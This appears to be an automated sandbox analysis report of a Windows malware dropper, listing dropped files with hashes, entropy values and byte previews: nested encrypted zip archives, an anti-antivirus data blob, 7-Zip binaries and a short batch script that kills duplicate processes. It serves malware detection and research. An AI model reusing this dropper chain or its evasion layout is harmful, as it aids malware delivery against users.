Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W..s...s...s...}...s...y..s...,...s...r.!.s.......s...x..s.......s.......s.^.u...s.Rich..s.........PE..L....S.L.............................K............@.............................................................................d....p..`............................................................................................................text.............................. ..`.rdata...D.......F..................@..@.data...HZ.......2..................@....sxdata......`......................@....rsrc...`....p......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7zSFC24.tmp\data\config.txt

Download File

Process:	C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe
File Type:	data
Category:	dropped
Size (bytes):	813712
Entropy (8bit):	7.99978931620739
Encrypted:	true
SSDEEP:	24576:oo+8tv50JKQj0MsgHtT2NTuoRqPOC/qT0hn:g8tq5j0KHtCNbA
MD5:	11A1CFC18B7ECAECDE6D30D9E81FB885
SHA1:	5A08272CA320AAE2A2BCE4B66378ECECEC38C77C
SHA-256:	1B0DEBB7C686C048604929762D43A26A55D0160A4978E153C40E4FF5BA6454FD
SHA-512:	055376AE863D50950ED95476E6DA2054CBB4981A0D83C8E05B4DC93949E478CDE92D3976AD5BB1BDE8C5AF244DD73B3069513726B7D9064B19B2CAD625CEF32A
Malicious:	false
Preview:	nL....."..Y.T.h.C5.$.............h`.?.Hu.yf8.u..f.G.tP{.....{.`..QK./'.W..@..w.W....\|.,t.(.).....T....T.1....L4.F....B.%.q.i4c"...G.....,.IlJ.D4D.^l....k..u.D>.2O..NT.._ck..G...m.u.~.V.}B..D.}......).N..'e..$.{.1t..c.z...rW..FmxO.<o`....fO.,.2.1.....J'1...m..H..L.......Kj&U...O....FV]\|S9j:..!.$..........V...$B.....xH>sfX.l.h&r.rR,.....\_..@{..nx~.t.E;../G:.....S.g.[.P..W}.C=.."...~.C.B...n.....]....r.....0.. Q.....}..6.....Le-e4.......p+A..V?.)....RC..h..`..M..D....a.,.EX...Q.v~.\.L.).s...x.hZ....v^27B..o.H...O..f...5l.f.......GH.\..5R?..;.TX......iY....O..q.w.....q%.[..A....t.#.>...2.%..c.?..\TX..........W.............J.".x...b8,Cc.;.p.....x.h..ya.e.....6....91 }...Mk?/...+.+s./....P."\|W,..(.#r.+(.{.mP..e[.C..;.......Z....M$....D.J....6......:<.]&.Gt......u.v.....X.E[.y..Y...d...>.....Z..3v-.......Z...i.Q!..[~.ty...,...........Pm....X!o.I$y.K.e3...../.6,\..p..{..y.w..0.S.K.,...7...Lf.Y...\.(g;<z.XJ?......2...J.fgh).......{...

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_g0iegdqc.5ch.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_i0wz20ps.zz3.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lhnvvtkr.52y.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_syf5bqtr.dyu.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\delays.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ISO-8859 text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1048575
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:Ba:0
MD5:	6EB91BF5CD6610314B769A9290AAC293
SHA1:	508F1941DD699C85BAFB015D973ADD048AA05800
SHA-256:	F0F3541F348FBC28A09D9F2CAC0C03C971E2842E83FDCC2D2C2FF51492AA3CBE
SHA-512:	E4FE1AF5EE420FA012B6FC702FFA499EB11BEDE93120FEF72A0ECC9EB09597C24D9EA87581C44041C1206599F7C3C932AF4DC450BDBD143C4EB67BCB6267FEF9
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\main\7z.dll

Download File

Process:	C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1679360
Entropy (8bit):	6.278252955513617
Encrypted:	false
SSDEEP:	24576:S+clx4tCQJSVAFja8i/RwQQmzgO67V3bYgR+zypEqxr2VSlLP:jclmJSVARa86xzW3xRoyqqxrT
MD5:	72491C7B87A7C2DD350B727444F13BB4
SHA1:	1E9338D56DB7DED386878EAB7BB44B8934AB1BC7
SHA-256:	34AD9BB80FE8BF28171E671228EB5B64A55CAA388C31CB8C0DF77C0136735891
SHA-512:	583D0859D29145DFC48287C5A1B459E5DB4E939624BD549FF02C61EAE8A0F31FC96A509F3E146200CDD4C93B154123E5ADFBFE01F7D172DB33968155189B5511
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........w...$...$...$.&.$...$.&.$...$...$...$.&.$%..$.&.$..$.&G$...$.&.$...$.&.$...$.&.$...$Rich...$........................PE..d.....n\.........." .........H...............................................P............`.............................................y...l...x........{...p.......................................................................................................text............................... ..`.rdata..9...........................@..@.data...............................@....pdata.......p... ..................@..@.rsrc....{.......\|..................@..@.reloc...0.......2...n..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\main\7z.exe

Download File

Process:	C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	468992
Entropy (8bit):	6.157743912672224
Encrypted:	false
SSDEEP:	6144:fz1gL5pRTMTTjMkId/BynSx7dEe6XwzRaktNP08NhKs39zo43fTtl1fayCV7+DHV:r1gL5pRTcAkS/3hzN8qE43fm78V
MD5:	619F7135621B50FD1900FF24AADE1524
SHA1:	6C7EA8BBD435163AE3945CBEF30EF6B9872A4591
SHA-256:	344F076BB1211CB02ECA9E5ED2C0CE59BCF74CCBC749EC611538FA14ECB9AAD2
SHA-512:	2C7293C084D09BC2E3AE2D066DD7B331C810D9E2EECA8B236A8E87FDEB18E877B948747D3491FCAFF245816507685250BD35F984C67A43B29B0AE31ECB2BD628
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........(...{...{...{...{...{...{...{...{...{...{...{...{...{..!{...{...{...{...{...{Rich...{................PE..d.....n\.........."..........l...... .........@...........................................`.....................................................x....`..........,a...........p.......................................................... ............................text............................... ..`.rdata..............................@..@.data....,..........................@....pdata..,a.......b..................@..@.rsrc........`......................@..@.reloc.......p......................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\main\KillDuplicate.cmd

Download File

Process:	C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	222
Entropy (8bit):	4.855194602218789
Encrypted:	false
SSDEEP:	6:vFuj9HUHOPLtInnIgvRY77flFjfA+qpxuArS3+xTfVk3:duj9HeONgvRYnlfYFrSMTtk3
MD5:	68CECDF24AA2FD011ECE466F00EF8450
SHA1:	2F859046187E0D5286D0566FAC590B1836F6E1B7
SHA-256:	64929489DC8A0D66EA95113D4E676368EDB576EA85D23564D53346B21C202770
SHA-512:	471305140CF67ABAEC6927058853EF43C97BDCA763398263FB7932550D72D69B2A9668B286DF80B6B28E9DD1CBA1C44AAA436931F42CC57766EFF280FDB5477C
Malicious:	false
Preview:	Cd /d %1..Rd "%SfxVarApiPath%"..For /f "Tokens=1,2 Delims=," %%I In ('TaskList /fo CSV /nh') Do (.. If %%I==%2 (.. Set /a N+=1.. Set PID=%%~J.. )..)..If %N% EQU 1 Rd /s /q %1..If %N% GTR 1 TaskKill /pid %PID% /t /f

C:\Users\user\AppData\Local\Temp\main\extracted\AntiAV.data

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	2345639
Entropy (8bit):	5.894819911480153
Encrypted:	false
SSDEEP:	24576:5yZBPkpRrP9pxC+XvoflcYy36s3vb0EecYy37n92k8GtGAQZ67hR7krC/Cyf0/xQ:R9kqGu7okoZscCnf0/Zs9n
MD5:	43AAE2A6566FDE0BA4BB6AC7EB8A2D9B
SHA1:	600E2399CF9F11EC75B17729E5E770188D0365C1
SHA-256:	2A9584D775535AEEB4EFCCED681B478401DAA051ED5D93E3401D393E3A3D4D8E
SHA-512:	027951B64A4D68AA11C5C52D7DF3D1238BB8B02FFC85A966CBD1758EE81826611F928EAEA3C438FC7006176945EB45424B22A414A0FDEBCBFE85BF31D36610F0
Malicious:	false
Preview:	KmO6sb9bzFlO6QmlyBR3cUuBrPdmJRJBhXshklfui2fRJCiITlYNEM2EqC9x9I0qVq7CGnIhkwh6hvGvu5pkfBRaoLATG90WNTmCTDFIBTSnd7l9KiCxIUJ5zlBvrKkHZaxyJb0N052Q1AaMDCASX2cw1ZaV1bKcufYPprTSqVIRscgIruKC2MOUPLxNBR1egyVxwSbedVhVl89lRxHAMRMf16G6Ry1TTz7dOtnEaLQowPwuw8eDnR20ZOyf9yYTVcpDsiS4K2VzryfyiwiOXZDq7UaTFrtOgtVQzuNXN74O8xkfvt4Ykzxcs60WfAkGZKsYbwZWS4bPPY8cze1vDL6leHmcDUIbsBvTleZtzGhgeYGdRaUmv5ljenoBZOBDIndh9KTa7zBVHuP4jAK8C2IKaB5BgFReYTleqD0cCkhTdxbkQAMwHPuKktcCRORGmFfE37OzhnpNUtRyIHoGBwau6RcKp6vTNwIWRMkDjZaejD2NS5TCgRvcwgZcldKIAtOqIN0TXMXlnX6scNgHltMTvvwSZbBsDdCGRINZlutVfbP6joQl5sw21ICykYYYKwRfLlfpREpOzuAjwo7oC8hJ4Tv652auJh1RujdaLcIfX5oB1GDuu95ojl52qB08Lzg7nIl7yDb4k9X8rUPZ857XTGTaXkhL77wwG75hAnvfazjbPfP5GZrDYRdhe2I0zSJZuV5aaWd5Imf8Ck0w9ALkKR7xhRlclC4FnJOBuXxpdcsG9gE8tgukaoXpzf4z0CHJ0VOfBNcErBEPyoWMZfee3Vfg2NyLVPvaC6c5HNC1mZSr0SpB1RAlj2w7ST9eZL5DUYwl8p6flt6I3p7MBJrZLlY3LgBSr5F4BYYU6sebHdx0ES2Ci6J9wBw0wGLCy8SeSDS45pkrvWvTZkvW2oFTNBda3aYJyut0zJi1Chjp4xQkH1cEMWZUOy7MueiWNcfeKZqM4Gg2hr7XoLoTQXyvcXvxeOwXoXJKXvu4

C:\Users\user\AppData\Local\Temp\main\extracted\file_3.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	719458
Entropy (8bit):	7.998183314260771
Encrypted:	true
SSDEEP:	12288:U6TFRaYMNJxdh+qdGTzVw7XmZRRWKwhqWeVcnGMbEMfMIRqdYe80heujX7n2JTEk:zz+xdAATqZRRWKPgG+Lnwe8r2TDh
MD5:	A9F77D700719AFD4BB038E7AED531344
SHA1:	1462339D5C807A76DCAFB2656B6ACA6EE0D60666
SHA-256:	7DF19BCA8FEAB85046F19831D1874FBC3FADB9E30A392D7375F50AAC174D6123
SHA-512:	AE5851A887AD2796651B5F1DD59115F0BB00C509029D1999D9F54A7E5F231EB8F98F51B9FF06E94C3D9BBE436BB9EF21AA4740A3CBE84AE695AD8CA0CE448C45
Malicious:	false
Preview:	PK...........YT..h............file_2.zipPK...........Y,.3.............file_1.zipPK...........Y..C.\|...8.......nRQUvisZS5yyGTCGUs.exe.\}`.....K.pa...1.)A...4........)..&h.4.V).h.I.f3..V.I[)..o......B.`..ZK....:.h..&.#....R...#7.o..y..7...CrH.$.g...W........$i..g'IOLx.../]....7{7n..n....[........M..............==-;......J.{u..47..[E...M..........=".&c...D.....h{........uD.w.....S.U.....:.._.)....6..V....^.n.h.4K...../.f.....Q`.."j......>.Y..-..`.b.....c..Qb..._.;.U.."..<..WI=...&.....\|.6~.Ag.._._..oP._>.&..c...x%.6..U.. ........w..&../..8...<.!..U.6o..i........'.6.....b.b..).2)...T.....W...dN..A.=..,...v.r0(.M.-.d....e......\.......u;....ZBj+R..@3Rk..q..[.N..lM..].........\|..X......0z<.X.6..>......X..DY."....W.oGx...............B.MU..$ (...d.^Z[.....AJ.oo/......."6.6..~@...."RE..b.o.l...........U.B9..h0(..I,...r...$P.../K..V.{.0..J.c.=.[m....D..!.M..qW.K&.."...m....*....JX.(.XP...n...;...~..+...k...b..0g3%....s.5...B:6.....oF.......4.

C:\Users\user\AppData\Local\Temp\main\extracted\file_4.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	719612
Entropy (8bit):	7.998190693389716
Encrypted:	true
SSDEEP:	12288:F6TFRaYMNJxdh+qdGTzVw7XmZRRWKwhqWeVcnGMbEMfMIRqdYe80heujX7n2JTEU:sz+xdAATqZRRWKPgG+Lnwe8r2TD5
MD5:	8C6E76BEB87B9CFFF64E5A54F1C227DF
SHA1:	05C40771381D42B88FD7CA1C4A57B55391DEF50F
SHA-256:	CF2C06CCDE56E42374647C1CB39563F236B2088B312BE3CD68F66A1EFFABDFD8
SHA-512:	946DED739BAA321C7D5162B210D3117D4BF5751ED2FE413D674E2C2F6C2E836B73B5B4731C360BCC79509DE50D7051D68FCF2B181BFE9CEE6787CA9D882AC545
Malicious:	false
Preview:	PK...........YQ.'sb...b.......file_3.zipPK...........YT..h............file_2.zipPK...........Y,.3.............file_1.zipPK...........Y..C.\|...8.......nRQUvisZS5yyGTCGUs.exe.\}`.....K.pa...1.)A...4........)..&h.4.V).h.I.f3..V.I[)..o......B.`..ZK....:.h..&.#....R...#7.o..y..7...CrH.$.g...W........$i..g'IOLx.../]....7{7n..n....[........M..............==-;......J.{u..47..[E...M..........=".&c...D.....h{........uD.w.....S.U.....:.._.)....6..V....^.n.h.4K...../.f.....Q`.."j......>.Y..-..`.b.....c..Qb..._.;.U.."..<..WI=...&.....\|.6~.Ag.._._..oP._>.&..c...x%.6..U.. ........w..&../..8...<.!..U.6o..i........'.6.....b.b..).2)...T.....W...dN..A.=..,...v.r0(.M.-.d....e......\.......u;....ZBj+R..@3Rk..q..[.N..lM..].........\|..X......0z<.X.6..>......X..DY."....W.oGx...............B.MU..$ (...d.^Z[.....AJ.oo/......."6.6..~@...."RE..b.o.l...........U.B9..h0(..I,...r...$P.../K..V.{.0..J.c.=.[m....D..!.M..qW.K&.."...m....*....JX.(.XP...n...;...~..+...k..

C:\Users\user\AppData\Local\Temp\main\extracted\file_5.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	719766
Entropy (8bit):	7.998194609388535
Encrypted:	true
SSDEEP:	12288:E6TFRaYMNJxdh+qdGTzVw7XmZRRWKwhqWeVcnGMbEMfMIRqdYe80heujX7n2JTEi:Dz+xdAATqZRRWKPgG+Lnwe8r2TDj
MD5:	9C177F44457D3A1589F64DACAFCF5EE5
SHA1:	3E561635879D9B5B3337FE92426386890634E55D
SHA-256:	599A40D0AC901E9FFFCABDE40F74474126C260C215D45AC0F6C479AB222A6243
SHA-512:	1646BEA1B5EABEB28CB0713D7EC4B6010390280C0F36CBA5E145EA65A4D4EAD520DEE70EC3BE5C269C6500C3A306A1E4ABC86CA3752D5653F957101768155594
Malicious:	false
Preview:	PK...........Y#i..............file_4.zipPK...........YQ.'sb...b.......file_3.zipPK...........YT..h............file_2.zipPK...........Y,.3.............file_1.zipPK...........Y..C.\|...8.......nRQUvisZS5yyGTCGUs.exe.\}`.....K.pa...1.)A...4........)..&h.4.V).h.I.f3..V.I[)..o......B.`..ZK....:.h..&.#....R...#7.o..y..7...CrH.$.g...W........$i..g'IOLx.../]....7{7n..n....[........M..............==-;......J.{u..47..[E...M..........=".&c...D.....h{........uD.w.....S.U.....:.._.)....6..V....^.n.h.4K...../.f.....Q`.."j......>.Y..-..`.b.....c..Qb..._.;.U.."..<..WI=...&.....\|.6~.Ag.._._..oP._>.&..c...x%.6..U.. ........w..&../..8...<.!..U.6o..i........'.6.....b.b..).2)...T.....W...dN..A.=..,...v.r0(.M.-.d....e......\.......u;....ZBj+R..@3Rk..q..[.N..lM..].........\|..X......0z<.X.6..>......X..DY."....W.oGx...............B.MU..$ (...d.^Z[.....AJ.oo/......."6.6..~@...."RE..b.o.l...........U.B9..h0(..I,...r...$P.../K..V.{.0..J.c.=.[m....D..!.M..qW.K&.."..

C:\Users\user\AppData\Local\Temp\main\extracted\file_6.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	719920
Entropy (8bit):	7.998198227038338
Encrypted:	true
SSDEEP:	12288:z6TFRaYMNJxdh+qdGTzVw7XmZRRWKwhqWeVcnGMbEMfMIRqdYe80heujX7n2JTEe:uz+xdAATqZRRWKPgG+Lnwe8r2TDP
MD5:	E8C36F78487D680955CE66B9E56C5CEA
SHA1:	89B90F78F7DB329662A10D8D555A6FB3F0970806
SHA-256:	8057B11B42EA9D4213D9677567B59B020172E97119A8C0150A96BE3373B819B7
SHA-512:	B39FBEA1273090EAC573A755CF33E29B202B473310362E7A54362CAED8C2289809C2BC3DD902833F71F7A67799B8A992A994BCEE3D0BD7BC2DD6F242E5018834
Malicious:	false
Preview:	PK...........Yk..(............file_5.zipPK...........Y#i..............file_4.zipPK...........YQ.'sb...b.......file_3.zipPK...........YT..h............file_2.zipPK...........Y,.3.............file_1.zipPK...........Y..C.\|...8.......nRQUvisZS5yyGTCGUs.exe.\}`.....K.pa...1.)A...4........)..&h.4.V).h.I.f3..V.I[)..o......B.`..ZK....:.h..&.#....R...#7.o..y..7...CrH.$.g...W........$i..g'IOLx.../]....7{7n..n....[........M..............==-;......J.{u..47..[E...M..........=".&c...D.....h{........uD.w.....S.U.....:.._.)....6..V....^.n.h.4K...../.f.....Q`.."j......>.Y..-..`.b.....c..Qb..._.;.U.."..<..WI=...&.....\|.6~.Ag.._._..oP._>.&..c...x%.6..U.. ........w..&../..8...<.!..U.6o..i........'.6.....b.b..).2)...T.....W...dN..A.=..,...v.r0(.M.-.d....e......\.......u;....ZBj+R..@3Rk..q..[.N..lM..].........\|..X......0z<.X.6..>......X..DY."....W.oGx...............B.MU..$ (...d.^Z[.....AJ.oo/......."6.6..~@...."RE..b.o.l...........U.B9..h0(..I,...r...$P.../K

C:\Users\user\AppData\Local\Temp\main\extracted\file_7.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	719992
Entropy (8bit):	7.998175696576781
Encrypted:	true
SSDEEP:	12288:UyJTFRamGFJxdf+ydGTDfwjXm1FPmGKh06qzGnCUbUmfMIRUdomWQ3eKx9jpinTR:XJzAxd2IFy1FPmGz0CWvXweSFARZF
MD5:	79B83D924DFE491FBBD357D0D2BA3537
SHA1:	CE1C477E380C6C1BAF4FE7EE947E7893EDC0D8EC
SHA-256:	28012FB4ED536207B7ED824424C0AC2550286C3D5C64EA10A8645143ED2FDF20
SHA-512:	3F5E6B889204874CBEB8234921D5E916D1529231F5DD1BD52781748BD7A88AE07ED409B251FB5D67A3479930791A4FB7914EE162791242FE694CC41B89F74ED7
Malicious:	false
Preview:	PK...........Y........0.......file_6.zipd.Sp%@...d.Lnl.m.sc.6&..v2.sccb.m...n..v._]....o.....$,..V;...."u.;,................UU...,.._...Ne...._....c....Uo9..........G`.b...w..X..........6!.0\|_`..3..0....h.[.h.qxyI..Ii.0.y.].....blw...:.!..YFhDf.. ...m.........RZ...j.\......6g..\|..Y[sX{.ET.%.d.1.-.....I..'[...T}.. ..s....?..jH.h.s.N$..Ll.Y........r.....%y.....&..P.:...}.yR..g.s..u.=..{...Z.....c.h.c...V@../b.....O....a....\G...M.e.........Q.4...sy\...+...-<...M\|.....0.E.[#........ ..?.(..4Y..ei.^..>.2.]....&.i.\|..L~D..a.eb2....\B...`..m...X..q....I.....A..Fg...'?..O....u....Q..N.....A.Aq..2...2%..$e...4....C....a.....y.....E.3..T.}.9..F.......`..2........g....................s.f1.T1..".....[8.......9......8f..#W....a..k.x(n\|x....t./..l.63..N.Q/:.....)Ez8....(..e.GH....f..nfo.G.&g.....TV..0.B\....lp...,.)......Z........x....rbj.Y$..}m.~8..J..;.......n.6R./..$....qRU....=.B.......\|....>H.g#...z..V..`n.9=o.\..\|.I.wZs...yp6X..J.W..#.

C:\Users\user\AppData\Local\Temp\main\extracted\file_8.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	720146
Entropy (8bit):	7.998185815288428
Encrypted:	true
SSDEEP:	12288:KyJTFRamGFJxdf+ydGTDfwjXm1FPmGKh06qzGnCUbUmfMIRUdomWQ3eKx9jpinTW:5JzAxd2IFy1FPmGz0CWvXweSFARZa
MD5:	E43B1A119FD6E09912CF4A1C9E5380C5
SHA1:	678FCB1D3ECE3BC0AD7A05BCF3EDF6A04890F9A8
SHA-256:	005AD39AF288F4A11564C88A14528DF929DA1A5BFF930AF6A803C173CA6C9B19
SHA-512:	D7F35ADEABDF407A34EB462BDC6CD5958D107A7FE8FD55CE708283BFBF938047C5F8044A529C698E69FB74122920D413CAE53BB89AFA3FB2669C0152FD31A058
Malicious:	false
Preview:	PK...........Y....x...x.......file_7.zipPK...........Y........0.......file_6.zipd.Sp%@...d.Lnl.m.sc.6&..v2.sccb.m...n..v._]....o.....$,..V;...."u.;,................UU...,.._...Ne...._....c....Uo9..........G`.b...w..X..........6!.0\|_`..3..0....h.[.h.qxyI..Ii.0.y.].....blw...:.!..YFhDf.. ...m.........RZ...j.\......6g..\|..Y[sX{.ET.%.d.1.-.....I..'[...T}.. ..s....?..jH.h.s.N$..Ll.Y........r.....%y.....&..P.:...}.yR..g.s..u.=..{...Z.....c.h.c...V@../b.....O....a....\G...M.e.........Q.4...sy\...+...-<...M\|.....0.E.[#........ ..?.(..4Y..ei.^..>.2.]....&.i.\|..L~D..a.eb2....\B...`..m...X..q....I.....A..Fg...'?..O....u....Q..N.....A.Aq..2...2%..$e...4....C....a.....y.....E.3..T.}.9..F.......`..2........g....................s.f1.T1..".....[8.......9......8f..#W....a..k.x(n\|x....t./..l.63..N.Q/:.....)Ez8....(..e.GH....f..nfo.G.&g.....TV..0.B\....lp...,.)......Z........x....rbj.Y$..}m.~8..J..;.......n.6R./..$....qRU....=.B.......\|....>H.g#...z..

C:\Users\user\AppData\Local\Temp\main\extracted\file_9.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	modified
Size (bytes):	2388827
Entropy (8bit):	7.998495303178082
Encrypted:	true
SSDEEP:	49152:EujCK3D0AC/l5mwbBkDWYb1ZN4UJ9oMJCob1FOHvwKF:EaR3D0Ae5mwdkDWm1XoMZb1ol
MD5:	9C466D3F3E802906A978CD14705A36CD
SHA1:	4B48F197C94725B7EA61D438BA14717BC5587EFC
SHA-256:	73CA27AA83E83F8609E41055C71B0715E2BA2C2759941BF0733164C11EE41138
SHA-512:	7238582F31AFF809015424BCCDBA310459C9CE8E29EFBF47C961A302E3DBF4A8C436B393BDAE6097ABE168BCF7D5B407D1EF4B4552633938BA997CCD122F3289
Malicious:	false
Preview:	PK...........Yo=<h)u....#.....AntiAV.data..E..@.D..C/qwg..;...mG.3H..\|...$..}.`..8......lV1..4...Cu.H.(l+{Cl.:........$+Nr....\.u.K_1N:k.'....F...... .....+.70..R.>..A..#6L.:..n..7......Y..y......v.,....=...e....fe.4.@...h..+....=.#...T......A..\|...{A.p{.b*.\|.[...Q...z.v.....iD.....W.....;...........YVL._._.F..4./g;syC.....e,.N..>t.43..p.T4?.K.....:Z.XDVS.gj.)cp..A9.7^.d.M.d.j..c:.(T<J._3-..8.,."s.'...B\.q...\..e.!..{l.\.]'.P.2}..l@^.G...{n..p..u.n.1;W..#..p.A.YD7.....,.o..z;.6T../.w..=.3K5..]............U...,r....n....(..I.....Q.o%.NF..Q.h$y.".7.tU..eVe.b.q.S4%"C..$g..iX..XQl..?Z.U.\|.g....&.d..Y.\|..5O...s.\|..A..@.Y1F.o.o.s.'UY.AU#....D.K.....A....=t.M..L4...{.....BF.Rg.-...j..p.c..'.2....].m..w37t...Rn.r....v....W..g0E......)-.6.=v/.9...o..~.mh.U.&...5.ld4k.gG.G.S.w4G..]'.5......r..Q.U.U.9.Vv....2.>....p.s.p..e....(..}Jox.....Z..[Y..ku.....5....s.././....:...v......h.u.ZlG.>).,.(....Ye<.....3...:T:)...-).=.L.=.2F....&H7..j..\.B6.Ox.\....

C:\Users\user\AppData\Local\Temp\main\file.bin

Download File

Process:	C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	2388993
Entropy (8bit):	7.99992607155599
Encrypted:	true
SSDEEP:	49152:hpxEwBJZJxDu722wMViy7nXvqNDZgmVF/O9YOYb86QrNWHKpCGUiZN6Ft:hHEwtJxEOHybqNlgmVF/O9YOY8PrNWHT
MD5:	B4581612D06DBBD6009168D180B71B75
SHA1:	3A351B6FCD554FFD1DA0C5D56CF49461FB9A9A11
SHA-256:	DDEBA62B92A2ABB1F230BCDDFCC56CCCD6F9E7F15BD536A0CC699A2133B57123
SHA-512:	83FD082A9463ADCED28C938232DAAE549D534DBBB91296C0167B917FCB97020AB478918810A5BFAF177F1733569B0482ED4BD6B6E9DAC9220803170390DDA9E0
Malicious:	false
